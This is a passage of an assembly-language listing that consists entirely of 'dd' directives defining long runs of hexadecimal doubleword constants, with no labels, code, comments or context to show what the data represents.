		dd 0F8E077B0h, 0C7FFA246h, 182CAC00h, 7A876BC3h, 0F28000EFh
		dd 0C96B9F1h, 0FC1D179Ch, 4401B595h, 0A268B66Eh, 611869C4h
		dd 0F8A968C4h, 0F19998A3h, 3760F4B8h, 0F1664Ah,	0EAD12E09h
		dd 0F005200Bh, 18C38C67h, 0CCB2429h, 6A300054h,	5D9120F4h
		dd 39BE6630h, 2D9DF93h,	5161813h, 0A3C04B73h, 470C36F4h
		dd 501ADE01h, 0FFA30EE0h, 439FCD6Dh, 0C75AEE1Bh, 71BB9100h
		dd 2D6493B0h, 0D0A400A6h, 0DEA566ABh, 43306332h, 0E347C0D3h
		dd 0B94C88EBh, 0F2111C7Dh, 0F900C098h, 0C8074A70h, 7E60CFF1h
		dd 66D720D9h, 0E5CE4831h, 0C58E793Fh, 62A07C81h, 80BE69BBh
		dd 0D6277700h, 0FB4ACBB8h, 28B548B9h, 7081EC00h, 0AE92A545h
		dd 0C85B1818h, 33302B1h, 3891FD75h, 57F03D9Dh, 451D46C7h
		dd 91716663h, 98E44DDAh, 3313F0AEh, 0C5D4A3EBh,	0BC82B382h
		dd 2B00B61Dh, 18C0F0A6h, 609338BEh, 8660D291h, 0D50105C1h
		dd 794F0072h, 0BAFF3449h, 6752EA36h, 0A9E1FC0h,	0FA26F940h
		dd 67DDDA1h, 59857848h,	0A402B1DAh, 0A2D5D168h,	84466h
		dd 352CA5E0h, 0D00E2467h, 947EC777h, 95302FF8h,	0D18B89EFh
		dd 0DC9D00C0h, 0AF67B619h
		dd 3406A253h, 0B95E0CACh, 27610061h, 0C21A9CD8h, 9430BFE3h
		dd 0A3941E5h, 0AF063B30h, 0BAF95C81h, 0FB50DB46h, 0D289B9B3h
		dd 64E9807Fh, 3D31A8Ch,	0F49950E4h, 76DD0E3Bh, 0BEA720h
		dd 0C0EC2C4Ch, 0B46EC178h, 0E436C678h, 6F41569h, 5E3488D8h
		dd 406C421h, 80FABCB2h,	6EEAD822h, 0F5C2F607h, 24E05A42h
		dd 188285C7h, 48545DA3h, 7C2067E9h, 14DE3892h, 469B007Eh
		dd 37E50735h, 0EE7F22DBh, 0C687D114h, 0FB33C0A4h, 0C0F494E1h
		dd 8D985E91h, 46006D4Eh, 6973EF28h, 617252h, 6E0D6660h
		dd 82A52F53h, 247D110Fh, 84C958C9h, 933A88C1h, 0B5B49E50h
		dd 0F72E88h, 2045A568h,	664D9839h, 39C68032h, 23C021B8h
		dd 6489AAF0h, 0CC4C5F02h, 834A99DDh, 11E71386h,	157B2D28h
		dd 0C47CD2h, 7945A65Ch,	0B885413Dh, 0CAC40692h,	61E0665Ah
		dd 0F399A311h, 6E11200h, 29119B61h, 79B09CB8h, 2D59500h
		dd 6B05010Dh, 0E003EA2Fh, 0C4930630h, 0D1BAFBA9h, 0F71A215h
		dd 5D630CBCh, 9A19B6h, 475833A1h, 0EB26DAF0h, 18951C3Ch
		dd 2E79DF65h, 29A4F414h, 11DCAA73h, 0C1F8007Dh,	0ED112C9Eh
		dd 90A4E045h, 0C39A227Ch, 0EB217C14h, 19B0307Ch, 0F3CF1h
		dd 0EBACC9Ah, 0ED396F50h, 0D75809FCh, 5AEF026Ah, 41F9C521h
		dd 4C10E690h, 0C71F6A64h, 379D503Bh, 0DD78CD06h, 0CB10E990h
		dd 0D72D2FA9h, 718D50FDh, 2C6858ABh, 44DCB828h,	20012FF9h
		dd 0A2C47E42h, 0C851255Eh, 9848FCA9h, 44A72F1h,	0EE3236A5h
		dd 0F9E2C72Ah, 2CA35810h, 1E56B61Dh, 3EA99806h,	0CC31619h
		dd 7E01AB6Eh, 0A25B17F9h, 50861980h, 782A19EAh,	0F2B64001h
		dd 4E6C7913h, 487210F0h, 2880249Ah, 1AA930A0h, 12DD1500h
		dd 5580893h, 0F8EF0BA1h, 1818E6F2h, 2E036CEBh, 70DA7A3Ch
		dd 66769141h, 0C4A3D4C4h, 9773A2A9h, 93808278h,	32059C41h
		dd 52A5069Ch, 16E86A0Fh, 14A404AAh, 0A20C7C1Ch,	63390E5Dh
		dd 1C79FB68h, 11F43700h, 7C309EE4h, 0AD8B26D0h,	578A008h
		dd 83FC0F48h, 0C27580F4h, 0F1017DC0h, 1FEF5CBDh, 70BD4760h
		dd 0F9DB4C18h, 0C4A885D2h, 0BEF248B1h, 80DA3938h, 0D1374D8Dh
		dd 18BFD970h, 29B4D2F1h, 240003D8h, 0BA80CFA6h,	26514Fh
		dd 655568BEh, 2B5B4D1h,	0A2E0D4F7h, 84F2041Bh, 0E6A68039h
		dd 7D1806A4h, 18FB1C39h, 11140CFCh, 44CFF3h, 0EA3ABF6Fh
		dd 1E52B80Fh, 8CBDA163h, 0B72187D2h, 0EF34CC00h, 0DFBC99C7h
		dd 108090C9h, 8BC41168h, 9370053h, 51C16E0Eh, 0C422C8C7h
		dd 92C72C4Ch, 8974200Eh, 0D200F4FCh, 0BD4B2E8Ah, 0B0DB089Ah
		dd 283605E8h, 0C18BECB0h, 927B68h, 90F8E40Dh, 8E77071Ah
		dd 40AEA181h, 1A2CA2B4h, 3D45FD00h, 79F4A9F3h, 1007004Bh
		dd 0BCC049B7h, 5BE6FE61h, 0D07E099h, 67A036D2h,	0F82A5DF0h
		dd 9E590163h, 6E2ED172h, 8C7BCCE9h, 0EFA31500h,	0C8499B98h
		dd 106263F8h, 4900AF5Ah, 56DF8319h, 5DA5E4h, 0E53608D2h
		dd 5FCA8243h, 79629C01h, 0DEA740EBh, 84B95030h,	800E6B22h
		dd 22C01BD8h, 34ECF867h, 414E849h, 0AF0805C2h, 96188Ch
		dd 3DBA219h, 0BD7BD906h, 6E476311h, 0FB00CF21h,	0A57E4FCDh
		dd 582A0084h, 470EA289h, 8800B228h, 62D4333Dh, 14A60C91h
		dd 9004A4D6h, 9EB89FC0h, 0B0B5F33h, 80951976h, 0CC2AB7EDh
		dd 978919A1h, 8B5D081h,	0C4122070h, 1099FDF8h, 13CE2E01h
		dd 0EC32357Dh, 0C03A2C48h, 0E6390C44h, 96DC0706h, 0E21FA287h
		dd 6434BFFDh, 94E48084h, 448B00Dh, 93F4AED2h, 603053C7h
		dd 398E2AAh, 2C48BFB9h,	8CCC990Ah, 37B5FE0h, 5E70A47Bh
		dd 0A68A9C00h, 0ACC2EC72h, 8C9258F4h, 20806ACBh, 0D7B5932Fh
		dd 16C8C852h, 6828D839h, 13E60A50h, 0B321F0h, 0C8D63EEEh
		dd 50EF094Bh, 35B1BD80h, 0AA8B2C00h, 9EB0617Ch,	5E160910h
		dd 0F8A4BE49h, 921D40D7h, 0B00ED381h, 8C6E00ECh, 69095AE5h
		dd 2505FC5Dh, 0F1A18A33h, 89E1B887h, 2024ABD2h,	0B8030327h
		dd 399BB0F5h, 0C00A83A1h, 0A20AEB7Fh, 6429F474h, 46CF2E88h
		dd 5A1341A9h, 0BBACA4h,	61A14924h, 36067ACFh, 27DC025Fh
		dd 0BCA55168h, 0CC09940Ch, 311CAE8h, 0D12C6D79h, 5C0B089Bh
		dd 362C105Dh, 71CF4FBh,	8FC2868Ah, 2B17101Fh, 731F1F3h
		dd 9B2E41C6h, 9F0031BCh, 0D00E588Fh, 95307AEEh,	643619DEh
		dd 33E00B24h, 0F41940B0h, 25A42667h, 400C9A36h,	2F523F4h
		dd 9F4B6EF8h, 0CCC6A93Ah, 0BD6C1800h, 4D769BC1h, 587D9Eh
		dd 8D0892B7h, 6B84621Eh, 47A460EFh, 0A05E9F40h,	10553Ch
		dd 0C905BE40h, 0EA36ADA9h, 0B603D8BAh, 0A4655C0Dh, 0FCA2A43Dh
		dd 0BA3A2E38h, 927750E2h, 7540A024h, 4E321D4Fh,	0A3F0CE09h
		dd 1F381094h, 0FD340EA7h, 0A569D0CCh, 816DF605h, 6023D4E6h
		dd 8F09B298h, 20CAD30Dh, 7042E04Ch, 4810E0AAh, 887CB8CCh
		dd 290CB6A6h, 79F746B0h, 69EC6094h, 0F1EDBD0Eh,	0FC3CAB18h
		dd 0B9477CD1h, 0C04B0168h, 23484F35h, 80103C70h, 54D2CC82h
		dd 30B81B8Fh, 0F4319094h, 29DA7A8Dh, 49F0103Ah,	7B4007F1h
		dd 245E0CCEh, 0F28483C2h, 84484DAh, 0DF64A501h,	71A40FCAh
		dd 0F72539BEh, 942B10A0h, 0D1F17CAEh, 6A2182F2h, 60C52360h
		dd 0E2F658h, 4AFDB693h,	0B2A72EB4h, 87C7AA3Dh, 16BE2A28h
		dd 0E6D53130h, 20FD00A8h, 2E194564h, 0DD3D266Dh, 760C037Ah
		dd 0CF9A3Fh, 0AF2D7338h, 394E8F87h, 0B5BA40F1h,	0B3634B55h
		dd 0A6409020h, 0B80A0C19h, 0C311452Bh, 18DE4FECh, 0D5187004h
		dd 31A7B546h, 0E39DD800h, 0E1CB8E62h, 706E00A9h, 0CC74E864h
		dd 0A0EC7DAh, 81D8C9BFh, 0B0B606C3h, 8CDB3980h,	5603056Ch
		dd 197F2300h, 412D7594h, 454D0CD8h, 58A9D569h, 4584A674h
		dd 834DF9B3h, 0C45F1F99h, 3E11FFC9h, 2771F507h,	0F90AD3E8h
		dd 0C194DAFCh, 6D4DA728h, 0B4183ACh, 18CE7C56h,	0F1AB1DD9h
		dd 2E884E1Eh, 0CA79C098h, 0EFBB8134h, 3807F632h, 48F927D6h
		dd 5791C61Ch, 9442254Ch, 5B306CC0h, 3475B877h, 0E68EF900h
		dd 0EF64B590h, 85B41EFFh, 0B2590AC0h, 3E5C2070h, 0A606EE96h
		dd 59D9BE0Ah, 322C1203h, 0B5BBEFh, 0E6C2DF31h, 92101B86h
		dd 0DB8BE1Ch, 83B2AC2h,	0C284863Dh, 0C73FCA1h, 952DD1BFh
		dd 0B67E18E1h, 8C700C03h, 7FC9192h, 9876A790h, 21E1C097h
		dd 0AB14A8C1h, 10800927h, 362A9FC2h, 0A6B530A8h, 0BD6FBA89h
		dd 34612502h, 4369DE3Ah, 4727D005h, 0B5C00CA3h,	0A79B05Ah
		dd 37C4131Dh, 9E3D0440h, 0ED49832h, 940D727Bh, 5E008075h
		dd 434E6BF2h, 6607F8EFh, 757385DDh, 0EB68FBC3h,	630805CBh
		dd 4BC42A43h, 0C1008490h, 0B683A581h, 0D39D0E01h, 98860727h
		dd 0A99AEB60h, 0B848B5F8h, 0FE8A0077h, 0C87D7078h, 18182F5Fh
		dd 0B2E1B598h, 74BD09A9h, 6D543FFh, 19B41Dh, 0EB4D6EB8h
		dd 9B79CEC8h, 0B782DC0Eh, 2E3B63A4h, 6A9100D7h,	0A056B888h
		dd 0B5767352h, 104C63E6h, 0F44205h, 0B3E9488Fh,	14A5B97Ch
		dd 0B88982FFh, 0D7E0CE0Eh, 88E82EE4h, 0A94457D8h, 0D8C313EFh
		dd 286418CFh, 74008F0Ah, 0C9B9622Dh, 96E0BBDh, 0C3B5CFDDh
		dd 1959F819h, 3A8F40C0h, 30107DAh, 1FC39045h, 2E999F62h
		dd 9C00D8AAh, 2F4BEEE5h, 0DBB049h, 232130BFh, 0DF2DC4D6h
		dd 600F7088h, 91261C5h,	20C95B6Eh, 95AC114Ch, 0CC78E017h
		dd 55006CC9h, 0CD93B331h, 76BD720Ah, 6018A09Dh,	358700F0h
		dd 5C484008h, 1E12312Bh
		dd 9C219D09h, 7180C32Eh, 98BCC28Eh, 7200259Fh, 5969B933h
		dd 0CCCACECh, 0A085B75Fh, 247C83F9h, 0E8B31301h, 65912E0Dh
		dd 0C2A7518Bh, 5BCEFB03h, 0DDB684E1h, 500C33C4h, 7B004D8Ch
		dd 8E741D0Ch, 12FB408Ah, 173300Bh, 0C4F096CCh, 0B6AA1033h
		dd 4C912Bh, 2D48CD42h, 290095A3h, 3C28256Bh, 0E8D2E8F9h
		dd 0B3842676h, 284B9174h, 0DC889D0Ah, 2B07CEEEh, 0FF2769DCh
		dd 0F8CA7C1Fh, 919E30BDh, 6029F80h, 0A567FBh, 1EA412E5h
		dd 7635505Bh, 0C10C2902h, 20AC4F90h, 0C6EFCE0Bh, 0FE128BFAh
		dd 15000ACAh, 0C03D2B99h, 1A2F062Dh, 319BB64Ch,	524F5E00h
		dd 0D70BAD9Fh, 0D543004Bh, 7A3C2C08h, 4C3EA6D4h, 30B07D1Ch
		dd 2EF4AA54h, 70A1C160h, 1C53B7E7h, 9313D7EEh, 0E6F00CC3h
		dd 8A1D73E1h, 3C44A241h, 2890D991h, 3BDFE59h, 2E1A9E33h
		dd 318619EBh, 0CC0E30A1h, 0B24D631h, 4D6290D0h,	0F2B523A8h
		dd 5B184962h, 9ECC10ACh, 975A2284h, 31D671FCh, 258FD800h
		dd 4A7E05h, 0B126F67h, 9CF1F551h, 96D36018h, 42B6FF41h
		dd 407B3AA3h, 769900D3h, 0F38033AEh, 0C31DCE29h, 96000A35h
		dd 75C0D6DFh, 0B5BA2CB9h, 26E82B78h, 5F943D9Ch,	32828C48h
		dd 60CE1A77h, 5590300Ah, 0CD0868B4h, 5F8A691h, 1495F0B3h
		dd 0C4406B50h, 3D1888DEh, 8119E400h, 26EA7A1Ch,	4BE10FA6h
		dd 0A787B2B7h, 2B8AD11Eh, 0A93180DAh, 885983CEh, 80B5480Dh
		dd 52647702h, 88607A68h, 30B126C3h, 3B2C4700h, 0FDC9B809h
		dd 6130070h, 2ECD41C8h,	69E251D5h, 4D624600h, 0A8E4AF4Ch
		dd 8479009Eh, 0ABB5E0B9h, 0B601662Dh, 70778F11h, 39A6DBCDh
		dd 24D511D0h, 0BE01B82Fh, 9E4F4D18h, 2146E617h,	7C8FBA00h
		dd 60A3670Ah, 630D0011h, 1D161A8Dh, 918E638h, 0B259BA76h
		dd 29560160h, 4BB595F3h, 9838D813h, 0EEA22B31h,	0D441F174h
		dd 24179D33h, 43149077h, 2C7705A0h, 59191200h, 1C894C76h
		dd 83FD04ECh, 40A62DEFh, 28C2AE1Eh, 6DDC00F2h, 0B16FDD39h
		dd 0FB03DB96h, 0F0340B5Eh, 0B844D8F3h, 0CA702482h, 5012479Ch
		dd 976F1BC9h, 10B288A1h, 0E0A2312Dh, 4B9B6h, 0B8B3C162h
		dd 2300CBA6h, 0FC450539h, 16CBC43h, 0A5C2684Fh,	30B125EBh
		dd 0FAF88A64h, 85738F14h, 6CF42EB8h, 0C9394391h, 2F004522h
		dd 700BDCAEh, 0DB2CD8h,	0FA2BBE24h, 89355206h, 4FBDB40Bh
		dd 4B64A443h, 13A77641h, 0B156081h, 272C2307h, 9F302DB0h
		dd 4D93CAA6h, 9C58BC96h, 0ECA0E822h, 0DF65D80h,	0E2025802h
		dd 0C2FBB810h, 850C4250h, 0ECC88904h, 329C0976h, 14102BAEh
		dd 0B4AF6FAh, 49E8CC80h, 0C30C1D2Eh, 26442E5Fh,	0EBF32068h
		dd 8A728863h, 59005243h, 40D8024Bh, 749F3Ah, 0DC4E5929h
		dd 0BFFB9E0Dh, 408D9328h, 80F42C58h, 0EA1F8817h, 1470046h
		dd 0A971CE21h, 6509CAAEh, 21AFDB6h, 19D71168h, 3A49BEDCh
		dd 34F44C9h, 207346EBh,	21B0D7C4h, 3F029429h, 6BD0094Bh
		dd 221850B3h, 0DB90AB41h, 0E4A64891h, 5A6062BCh, 0C2548493h
		dd 0E4047h, 0EA816ADEh,	2A0447F2h, 633439EEh, 51037CA2h
		dd 0F89EAF1Eh, 11E9C0A4h, 0D90A9C34h, 3C2E5A4Dh, 938F4708h
		dd 0B9046073h, 600FF2BDh, 57CBD3B6h, 1573E820h,	0E27EA6Dh
		dd 0E2BC2D21h, 0B1EC8022h, 709F7140h, 4ED1424h,	84055863h
		dd 0D8C996C0h, 1888BA0Bh, 79A3D00Ah, 3B5846ACh,	42E700F2h
		dd 7D6FFA6Dh, 75470033h, 68E328B1h, 0BDB8A0EFh,	0BA1C96Bh
		dd 0B9C0998h, 0AFB029B8h, 4A0704ECh, 2A88Ch, 0CD08D853h
		dd 440599BFh, 0C6EB8002h, 0E1189079h, 0D98CBA1Ch, 0A7C0CC2Fh
		dd 6083C92Eh, 7C116260h, 4E9B03F3h, 0FFF94607h,	0EFECC8CDh
		dd 53D0635Ch, 0C4F100B4h, 73392BD4h, 0CD80083h,	6D5712B9h
		dd 28176991h, 0D8494208h, 0AC98112Bh, 0BF6BB70h, 0C0E0C516h
		dd 49AE6B85h, 7004D4D8h, 0CC0B539Ah, 22C104Ah, 6E9D0763h
		dd 80DFA42Eh, 6C2F6BC5h, 0C184A558h, 8E24A106h,	0FE7C4020h
		dd 0B07D00FBh, 560F8753h, 9650D658h, 25E1C7ABh,	8D3DDE4h
		dd 62261629h, 2AFB0B22h, 499E0010h, 0E781EC00h,	0DE713A25h
		dd 1B5C00FFh, 0F998B62Dh, 0BBEA35DCh, 91427896h, 3390A044h
		dd 180EAC8h, 9D103EDh, 0DC559DC3h, 8E26A921h, 0F0B9E53h
		dd 314C2284h, 80A725D5h, 75E7E3A4h, 0A2D1BF06h,	761D02Bh
		dd 7452E41Fh, 4451A0ACh, 920050D2h, 0CD9FC1E7h,	172AB413h
		dd 4BFC97Dh, 82B1AB34h,	2C62FFC0h, 5F9C7060h, 0D373AE28h
		dd 2E84D348h, 56416034h, 0EDFC4159h, 0B7710930h, 3C400BB5h
		dd 9954B604h, 0AD000FCCh, 5574869Fh, 0F403DCh, 0BBB8DE35h
		dd 0C1B05707h, 2E1F3F01h, 0CE1377E7h, 13C9B992h, 0ED3020C5h
		dd 3A7A8570h, 2B46AE03h, 0C0B363CDh, 3310860h, 0C1E5D3Fh
		dd 312C922Dh, 3270BCE3h, 4FD49C50h, 0AC468A3h, 59E4DBB0h
		dd 0DD003F77h, 6480B31Eh, 27860938h, 7422444Dh,	0ACC5C00Ah
		dd 1378B788h, 0AE1493B6h, 0CA182E80h, 36CE6C00h, 600E964Ch
		dd 0D8435491h, 845D00AEh, 0F3231161h, 3A03830Fh, 0CC77DD2Ah
		dd 12610DECh, 0E131CDB3h, 0F40BD8C3h, 0D0D6180Ch, 88B470B8h
		dd 7578FBCFh, 0A70F39h,	6FAA44E2h, 48E70383h, 0D4221472h
		dd 22A03490h, 2E28BCB6h, 0F12234ACh, 26E0CA92h,	1D6B4F0h
		dd 0AF68FE0Ch, 0DA1870A7h, 2DBC9B01h, 0BA72963Fh, 8A1FA029h
		dd 340E40EBh, 2FF9C024h, 453E4C00h, 0C98FB4EFh,	493A24F1h
		dd 63EB80D0h, 0CE2D85C6h, 0C13B3527h, 6430BC14h, 0D483880Fh
		dd 38CE8C26h, 0DCFB8860h, 0C58D0099h, 34850B60h, 960441C9h
		dd 0C2ED448Fh, 370354A6h, 0E22468FCh, 0E0A6ACB1h, 8101CE8Dh
		dd 964ECBB0h, 0F9DCD8A5h, 0C28C00D6h, 0C4531C82h, 70926D28h
		dd 12EDE13h, 6129A0D1h,	0EB880438h, 7420B592h, 2C8BC80Ch
		dd 0E5E4A5h, 9EE1262Bh,	823A88ECh, 0C2618379h, 3B22B5A2h
		dd 76020AA9h, 4E2DD957h, 0E26A8CA0h, 5B7A2299h,	0A07EA1FCh
		dd 8565700h, 0A3B886D2h, 5894B025h, 0C9894C85h,	60C30C27h
		dd 2AC44BB4h, 9C6CD65Ch, 30A6901Dh, 90278143h, 577C9Ah
		dd 2274D5DCh, 0BED9BA4Bh, 0BB67B601h, 1893AC63h, 8CCE7443h
		dd 58B5CA41h, 2E798DA0h, 0A88019E9h, 0BB3E290Ch, 0BD001ECFh
		dd 3567A087h, 3118F265h, 289966F1h, 14A7104Fh, 3ABD24AEh
		dd 0B1594030h, 0F50E7B07h, 0E2A0D830h, 80D5CB9Bh, 64C209A4h
		dd 0A7610ECAh, 0B6841EFCh, 40A7C4DBh, 5C8454BCh, 3000B23h
		dd 623B4916h, 5B616Ah, 2C6C97D9h, 1EC4DBC0h, 166CDA50h
		dd 9662E49Ch, 1FE0642Dh, 1D8C30F8h, 1BD1009Fh, 4232B022h
		dd 0B2BDEF0Bh, 196CD864h, 818EB6FBh, 3013D477h,	0E10E897Eh
		dd 0C91202h, 8067763Fh,	2ADF007Ch, 2331CC48h, 16027D73h
		dd 92EFCB5h, 1F0442Dh, 45924ED9h, 45B12506h, 1F302CBCh
		dd 96537B07h, 2C155245h, 6C73BC7h, 6D0BDBC0h, 404806FDh
		dd 0E9D829C4h, 38E5A702h, 605DCE0Eh, 0A01072E8h, 5B33C374h
		dd 3A082343h, 62376388h, 0D90008F0h, 0EA56BD4Ah, 1C1C605Dh
		dd 0D8BC4C7Dh, 0A80328C6h, 72E50D1Dh, 7BFDDF03h, 632DB87Fh
		dd 3145FEC5h, 6051C156h, 308BE65h, 12731472h, 0C723D8D1h
		dd 6AF1023Bh, 0C4AE4BCAh, 585D2C83h, 4F223100h,	71BEF1F4h
		dd 0AF940034h, 82D1156Bh, 2C06DF76h, 0A5CD46A0h, 8E76080h
		dd 0CE25F169h, 14DA8803h, 8BCC1A6h, 0C572C360h,	86A57A09h
		dd 1171789Dh, 0D3B44D4h
		dd 29FE4398h, 14A612E0h, 20D6BEBFh, 9400778Eh, 91FE7A37h
		dd 0CC8A1F18h, 68631h, 0DDB9ACF8h, 0C5A6D3FBh, 0ED4763Dh
		dd 471CA5BFh, 45C3834Dh, 3D711D62h, 7A00202Ah, 9FC0C101h
		dd 59080Ch, 0B95F49F2h,	25B61C58h, 0C6D67801h, 7AFE4542h
		dd 4960B18Ch, 7C001449h, 0EFE76598h, 92D03h, 9A73CDB0h
		dd 3DA6BC41h, 64694060h, 0C67C24h, 91D9F1C8h, 5E5DDEC3h
		dd 0FD00D0A4h, 0AA5A7B52h, 0B4A1D0h, 0B7CC0999h, 42305B2Bh
		dd 0DB4E1500h, 5CEAE752h, 7039C054h, 3C1338CBh,	434CBD00h
		dd 0A60D27D2h, 7C232A5Dh, 68DF01B4h, 0CDF361CFh, 0C4C89F4Ch
		dd 0C3C7120h, 52FBD36Ah, 9C019A51h, 0EC10A81Ch,	9EE0A517h
		dd 9B30336Ah, 208D3E08h, 0CAA6B09Ch, 0BE39D100h, 713DA193h
		dd 9145003Ch, 9B2EFD0Eh, 4C12141Ch, 5C357BAEh, 535B2D05h
		dd 0F069D100h, 0A1D49AFFh, 1D134394h, 0C0C4E1C1h, 4B006668h
		dd 0AF1B25CFh, 48A507FCh, 0C6221495h, 39C8C218h, 0FE641339h
		dd 18C0484Ch, 830B8B87h, 110071B7h, 51CD448Eh, 145DA247h
		dd 84C86A45h, 0A64D4C80h, 0BF009AC2h, 998BFA93h, 60428D6Ah
		dd 9202B8E8h, 0A6193169h, 0EE51E121h, 1F24EF0h,	99179C43h
		dd 0F48BA00Ch, 5E00421Ch, 4C517573h, 0C0C78ACBh, 7C062269h
		dd 0CC2AB84Fh, 6B1D88F2h, 7009B4Ch, 0E175E7BEh,	0F4C37712h
		dd 44B0FCh, 0C5AC4ED6h,	0E34D1323h, 2E1C9400h, 0D362BADEh
		dd 8A411299h, 0B74C4E7Bh, 756B7260h, 9400B032h,	1199CE07h
		dd 0ABC24C15h, 45198894h, 7733011Dh, 329B5EDFh,	7968225Fh
		dd 2BA8D600h, 7F214CF0h, 393B60CAh, 0C451B9Ah, 0A7359C1Ch
		dd 0EF2C00FAh, 88C4BE9h, 141090AEh, 3424A687h, 8B47409Ch
		dd 0D69A5DA3h, 4E8946F0h, 0EA005023h, 2AA2E526h, 9C0C9465h
		dd 295649D6h, 5136603Dh, 0F384917Eh, 7B48E43Ah,	7CA81500h
		dd 0A62C7F4Ch, 9E823BDFh, 98454h, 9F60E894h, 0EA49A3CDh
		dd 0F6340C07h, 5C24F5Ah, 0F130600Eh, 0A85D4854h, 23E17E12h
		dd 0A3A97F24h, 0A6B1E8A0h, 8AB99A00h, 0F78FFA0Ch, 83C500A4h
		dd 0F0034D06h, 44292D12h, 0B580F01Bh, 0BA4EF2E8h, 19141D8Dh
		dd 2D1D4EA6h, 63640893h, 62DF2580h, 14A4EB83h, 206A43A5h
		dd 7B72FA77h, 353DF806h, 81D076BAh, 62C24B6Bh, 86F20100h
		dd 0AF2B4590h, 0C03A831h, 2430D01Dh, 71A8008Ch,	0BC326415h
		dd 0D051F043h, 85BFF430h, 8FF4604Ch, 1D7045F7h,	0A0D925C0h
		dd 0F131F2Ch, 380400FBh, 2E75D7EAh, 38DDA524h, 5326D467h
		dd 71D8C841h, 0B4A50381h, 1180E821h, 0AD4B0C87h, 5F02A8CEh
		dd 0FC1DC71Eh, 5434C1F4h, 18571710h, 6B399800h,	0F697A5F1h
		dd 3841E812h, 4C4CD379h, 0F06814C7h, 6077E9A6h,	0E5196164h
		dd 0F52DF8C0h, 1E8C00CEh, 563B8A36h, 1F289C81h,	7E00545Dh
		dd 0B7E09F64h, 6F607401h, 0F0E01933h, 134B5BF2h, 3E7D1108h
		dd 0B2F9801Eh, 76920D72h, 3B4C7E09h, 19278334h,	0F3EF9916h
		dd 0A761A7C1h, 0DD1F0822h, 0FF7DD2Fh, 71405BDFh, 7082346Ah
		dd 1800C8F0h, 84E0804Eh, 62D2C27Ah, 0F2456938h,	0E4F80044h
		dd 22193C61h, 15DC30B7h, 0E8B18Ah, 0B3907A36h, 7B00F144h
		dd 0C85F020Dh, 131D7310h, 3081429Ah, 93DFFBD0h,	330F44E8h
		dd 0F0C368h, 0BDFA1F56h, 99D20377h, 453E388Eh, 0F9153101h
		dd 6197E6DDh, 0FFFC6F8h, 0ABE48B48h, 7AE05780h,	5F555D06h
		dd 0F0C0C29Ch, 0F0F1181h, 0E0C8F423h, 0BB0DF251h, 0B82700B0h
		dd 0AE321799h, 0A4753011h, 0E86C2950h, 0EDE30700h, 0AD035148h
		dd 0AFB60B5Fh, 0FF8011FAh, 0A9165C80h, 0A5ABB901h, 5D12F54Ch
		dd 0F86BF848h, 0CBD500BAh, 7B0AAC90h, 0F8BF29E1h, 856826C5h
		dd 15ED1174h, 79CD88Ah,	9A0B7D8Bh, 7472C7F0h, 0AFC1A0BBh
		dd 0C52A00C0h, 7CE00916h, 576542D3h, 8C203D69h,	11C6EAh
		dd 16A6DB66h, 38D15249h, 9F699500h, 10BDC9E4h, 8CAC48F0h
		dd 3464211h, 6093154Dh,	7B11004Ch, 3BABCC9Eh, 0C11F041Fh
		dd 89BB89CEh, 8036D1B4h, 5E067960h, 7331C04Bh, 2A7AFD6Ch
		dd 0EA297C00h, 1B918ABCh, 3CD00286h, 470ABB42h,	0FEC56460h
		dd 98445016h, 134DA400h, 98D1FD12h, 5E103C6Dh, 334B560Fh
		dd 9B700072h, 0AE4240EBh, 9D93B902h, 40CE5B3Dh,	401ABDF0h
		dd 0ED228EC8h, 1E3D2A3Ah, 7E890084h, 237BC2F1h,	0FB07A31Fh
		dd 48F7F262h, 0BDA25B51h, 59E94F4h, 0C6C1233Fh,	7FC490EFh
		dd 82014B38h, 997D06C9h, 0D050E721h, 0EA520Eh, 86F4E061h
		dd 871465D6h, 8F1BF200h, 2C496F6Bh, 0EEBF173Ch,	0D4A80E7Dh
		dd 114C4A0Ah, 16230042h, 0F60B8EDFh, 9B8D0C11h,	0B2C1D989h
		dd 937E9207h, 0E9E00396h, 7628516Bh, 355200DAh,	0B53AD53Eh
		dd 38B15C5Bh, 7403F61Eh, 0B09ED716h, 0ECD6028Eh, 0C872001Ch
		dd 0F4E6DC91h, 0FCA2A519h, 99112743h, 0D4584649h, 94C2931Fh
		dd 0DF305031h, 10CD78F1h, 1C084400h, 0E593B595h, 36FB1C8Dh
		dd 0E0ED404Bh, 21968C8Bh, 8E14A60Eh, 0ECB18732h, 0F40210B5h
		dd 5067CB56h, 8D584400h, 0D39FCD16h, 500E71Ch, 0C2711D56h
		dd 374200F0h, 5E0C4CC0h, 0B9079B17h, 0DF416C98h, 0A5CBEF70h
		dd 2CB17352h, 4547DA2h,	0A45E2C73h, 6F019F48h, 0D46E3B47h
		dd 2E60822Ah, 63C9C0FBh, 71A4A60Fh, 4CB4D549h, 0DDDC80BCh
		dd 5C3DF87Ah, 6904AA94h, 0C0604D8Dh, 74E1398h, 0A5C07561h
		dd 71FC6AFBh, 17C03C9Eh, 60D3B3Ch, 0CD81BB7Fh, 0BAA441C1h
		dd 92D0173Eh, 0E329AA53h, 24559460h, 1658CCB1h,	0AEB00403h
		dd 0FB1D4066h, 0E81B9B30h, 729C0508h, 83138EB2h, 6102439Ch
		dd 6ABB7D41h, 608CCA5Bh, 1467A0F4h, 0F0D5FF20h,	7EEDB508h
		dd 47FE8B01h, 618FEA23h, 0B3E076DDh, 0A04A78E1h, 0FB7EAD02h
		dd 0A917EF46h, 10DF8984h, 757BC78h, 9282EB98h, 72510011h
		dd 8E0060DDh, 876396DBh, 29ADFF7h, 0A63097C2h, 0ACC16A99h
		dd 8A3841B7h, 80BC50CAh, 0AD0AE9D4h, 99079DB2h,	30304712h
		dd 0BDC704h, 0B9182F3h,	0EC251D4h, 0FEABEF1Eh, 8F34BBCEh
		dd 0FFD362FAh, 0FC4E445h, 68018853h, 0F4435601h, 0F4143115h
		dd 5E30203Ch, 0F15A2948h, 0DE0D0730h, 96CACFE8h, 44A408F0h
		dd 30EA8700h, 6A351A8Ch, 422924F4h, 92DE1FF8h, 9E040DAh
		dd 70248AC6h, 0EC3B1C0h, 0FA6AF308h, 0F22E3267h, 68E8D709h
		dd 80116A3h, 84C40BB9h,	0D661CA26h, 30546AFCh, 146033D2h
		dd 4CBA29B0h, 38A27336h, 2954668h, 6AF4080Dh, 9C103201h
		dd 82E15B2h, 47030434h,	10024990h, 58DC7958h, 0FB0380DCh
		dd 2C445C9h, 6E395E11h,	684056C8h, 0BF0C3BA4h, 0E999CDAAh
		dd 0F028CA3h, 0B16AF608h, 83EC1966h, 817BC21h, 0E73FF8EDh
		dd 6B4612C1h, 0A8944066h, 4C769851h, 0F46FC52Eh, 69A7EB40h
